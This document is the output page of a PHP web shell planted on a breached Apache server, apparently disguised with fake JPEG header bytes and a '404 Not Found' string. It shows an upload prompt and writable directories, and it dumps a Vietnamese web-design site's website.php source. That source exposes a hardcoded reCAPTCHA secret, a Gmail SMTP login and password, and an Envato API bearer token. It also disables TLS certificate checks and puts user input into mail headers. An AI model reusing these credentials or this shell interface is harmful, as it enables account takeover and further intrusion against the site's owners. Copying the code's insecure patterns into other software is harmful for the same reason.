ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/thietkewebvumi.com/code/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/thietkewebvumi.com/code/website.php
<?php
class website
{
    function website()
    {
        global $CORE;
        switch ($CORE->input['code']) {
            default            :
                $this->goList();
                break;
            case 'detail'   :
                $this->goDetail();
                break;
            case 'order':
                $this->goOrder();
                break;
        }
    }
    function goOrder(){
        global $smarty,$func,$CORE,$print;
        if(isset($CORE->input['submitbt'])) {
            if(isset($_POST['g-recaptcha-response'])){
                $captcha=$_POST['g-recaptcha-response'];
            }
            if(!$captcha){
                echo '<h2>Please check the the captcha form.</h2>';
                exit;
            }
            $secretKey = "6LdY7u4UAAAAAOZHZaw9r3I5wi5lj4FJaOjtbI7g";
            $ip = $_SERVER['REMOTE_ADDR'];
            $url = 'https://www.google.com/recaptcha/api/siteverify?secret=' . urlencode($secretKey) .  '&response=' . urlencode($captcha);
            $response = file_get_contents($url);
            $responseKeys = json_decode($response,true);
            // should return JSON with success as true
            if($responseKeys["success"]) {

            } else {
                echo '<h2>Please check the the captcha form.</h2>';
                exit;
            }

            $id = $CORE->input['id'];
            $hoten = $CORE->input['hoten'];
            $dienthoai = $CORE->input['dienthoai'];
            $email = $CORE->input['email'];
            $diachi = $CORE->input['diachi'];
            $tieude = $CORE->input['tieude'];
            $noidung = $CORE->input['noidung'];

            $subject = 'Äặt thiết kế website từ thietkewebvumi.com id='.$id;
            $body = 'HỠtên: '.$hoten. '<br/>';
            $body .= 'Äiện thoại: '.$dienthoai. '<br/>';
            $body .= 'Email: ' . $email . '<br>';
            $body .= 'Äịa chỉ: ' . $diachi . '<br>';
            $body .= 'Tiêu Ä‘á»: ' .$tieude. '<br>';
            $body .= 'Ná»™i dung: ' .$noidung. '<br>';
            $headers = 'Content-type: text/html; charset=utf-8';
            $headers .= 'To: Admin <' . $CORE->vars['email_address'] . '>' . "\n";
            $headers .= 'From: ' . $email . ' <' . $email . '>' . "\n";
            include("lib/phpmailer/PHPMailerAutoload.php");
            $mail = new PHPMailer();
            $mail->CharSet = 'utf-8';
            $mail->IsSMTP();
            $mail->SMTPAuth = true;
            $mail->SMTPSecure = "ssl";
            $mail->Host = "smtp.gmail.com";
            $mail->Port = "465";
            $mail->Username = "contact@ischool.vn";
            $mail->Password = "ischool123";
            $mail->FromName = $CORE->vars['sitename'];
            $mail->Subject = 'Äặt thiết kế website từ thietkewebvumi.com id='.$id;
            $mail->WordWrap = 50;
            $mail->MsgHTML($body);
            $mail->AddAddress($CORE->vars['email_address'], $CORE->vars['sitename']);
            $mail->AddAddress('movieandtube@gmail.com', $CORE->vars['sitename']);
            $mail->IsHTML(true);
            $mail->AddReplyTo($email ,$hoten);
            if (!$mail->Send()) {
                echo 'smtp error';
                exit();
            } else {
                $_SESSION['send_mail'] = 1;
                $print->refresh('website/html-template-'.$id.'.html');
            }
        }

    }
    function goDetail(){
        global $smarty,$func,$CORE,$print;
        include ROOT_PATH.'lib/simple_html_dom.php';
        $id = $CORE->input['id'];
        $url = 'https://api.envato.com/v3/market/catalog/item?id='.$id;
        $content = $this->api_theme($url);
        $content = json_decode($content,true);
        $detail['id'] = $id;
        $detail['title'] = $content['name'];

        $term = array('wordpress','opencart');

        $detail['title'] = str_ireplace($term,array('',''),$detail['title']);
        $detail['title'] = str_ireplace('  ','',$detail['title']);
        $detail['body'] = str_replace('http://','https://',$content['description']);
        $detail['img'] = $content['previews']['icon_with_landscape_preview']['landscape_url'];
        $detail['url'] = $content['previews']['live_site']['href'];
        if(strpos($detail['url'],'https://')===false){
            $detail['url'] = 'https://themeforest.net'.$detail['url'];
        }
        $content2 = $this->curl($detail['url']);
        $html = str_get_html($content2);
        $detail['url'] = $html->find('div.preview__action--close a',0)->href;
        $smarty->assign('detail',$detail);

        $smarty->assign('title', $detail['title'].' - '.$CORE->vars['sitename']);
        $smarty->assign('description', 'Khách hàng thiết kế website tại VMDesign Co., Ltd có thể chá»n mẫu giao diện và đặt mẫu này làm website của mình.');
        $smarty->assign('cur_url', $func->current_url());
        $smarty->assign('og_image', $detail['img']);
        $smarty->assign('send_mail', '');
        if($_SESSION['send_mail']){
            $smarty->assign('send_mail', 'Äã gá»­i thông tin');
            unset($_SESSION['send_mail']);
        }
    }
    function goList(){
        global $smarty,$func,$CORE,$print;
        $type='html';
        if(isset($CORE->input['type'])){
            $type = $CORE->input['type'];
        }
        switch ($type){
            case 'doanh-nghiep':
                $term='wordpress';
                $cate='wordpress';
                break;
            case 'ban-hang':
                $term='opencart';
                $cate = 'ecommerce/opencart';
                break;
            default:
                $term='site-templates';
                $cate='corporate';
                break;

        }
        $page = 1;
        if(isset($CORE->input['page'])) {
            $page = $CORE->input['page'];
        }
        $url = 'https://api.envato.com/v1/discovery/search/search/item?term='.$term.'&category='.$cate.'&sort_by=date&sort_direction=desc&page='.$page.'&page_size=100';
        $totalPage = 60;
        $content = $this->api_theme($url);
        $content = json_decode($content,true);
        $list = array();
        $arr = array();
        foreach($content['matches'] as $key=>$val){
            if($val['previews']['live_site']['url']!='' && $val['previews']['landscape_preview']['landscape_url']!='' && $val['id']!='' && $val['name']!='') {
                $arr['id'] = $val['id'];
                $arr['name'] = str_ireplace($term,'',$val['name']);
                $arr['name'] = str_ireplace('  ','',$arr['name']);
                $arr['fname'] = $func->format_string($val['name']);
                $arr['description'] = $val['description'];
                $arr['img'] = $val['previews']['landscape_preview']['landscape_url'];
                $arr['url'] = $val['previews']['live_site']['url'];
                $list[] = $arr;
            }
        }
        $nav = $print->Pagination($totalPage,$page,'pages','thiet-ke-website-'.$type.'.html');
        $smarty->assign('lists',$list);
        $smarty->assign('nav',$nav);

        $smarty->assign('title', 'Äặt thiết kế website - '.$CORE->vars['sitename']);
        $smarty->assign('description', 'Khách hàng thiết kế website tại VMDesign Co., Ltd có thể chá»n mẫu giao diện và đặt mẫu này làm website của mình.');
        $smarty->assign('cur_url', $func->current_url());
        $smarty->assign('og_image', 'https://thietkewebvumi.com/upload/collect/logo_1586751887.png');
    }


    function api_theme($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        /*$head[] = "Connection: keep-alive";
        $head[] = "Keep-Alive: 300";
        $head[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
        $head[] = "Accept-Language: en-us,en;q=0.5";*/
        $head[] = "Authorization: Bearer PMdXG3Idwb6HM5lHSVZbbtG9eiqV72TJ";
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36');
        curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
        //curl_setopt($ch, CURLOPT_REFERER, 'http://www.phimmoi.net');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
        $page = curl_exec($ch);
        curl_close($ch);
        return $page;
    }
    function curl($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        $head[] = "Connection: keep-alive";
        $head[] = "Keep-Alive: 300";
        $head[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7";
        $head[] = "Accept-Language: en-us,en;q=0.5";
        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36');
        curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
        curl_setopt($ch, CURLOPT_REFERER, 'http://preview.themeforest.net/');
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_TIMEOUT, 60);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
        $page = curl_exec($ch);
        curl_close($ch);
        return $page;
    }
}
$run	=	new website();
?>

ZeroDay Forums Mini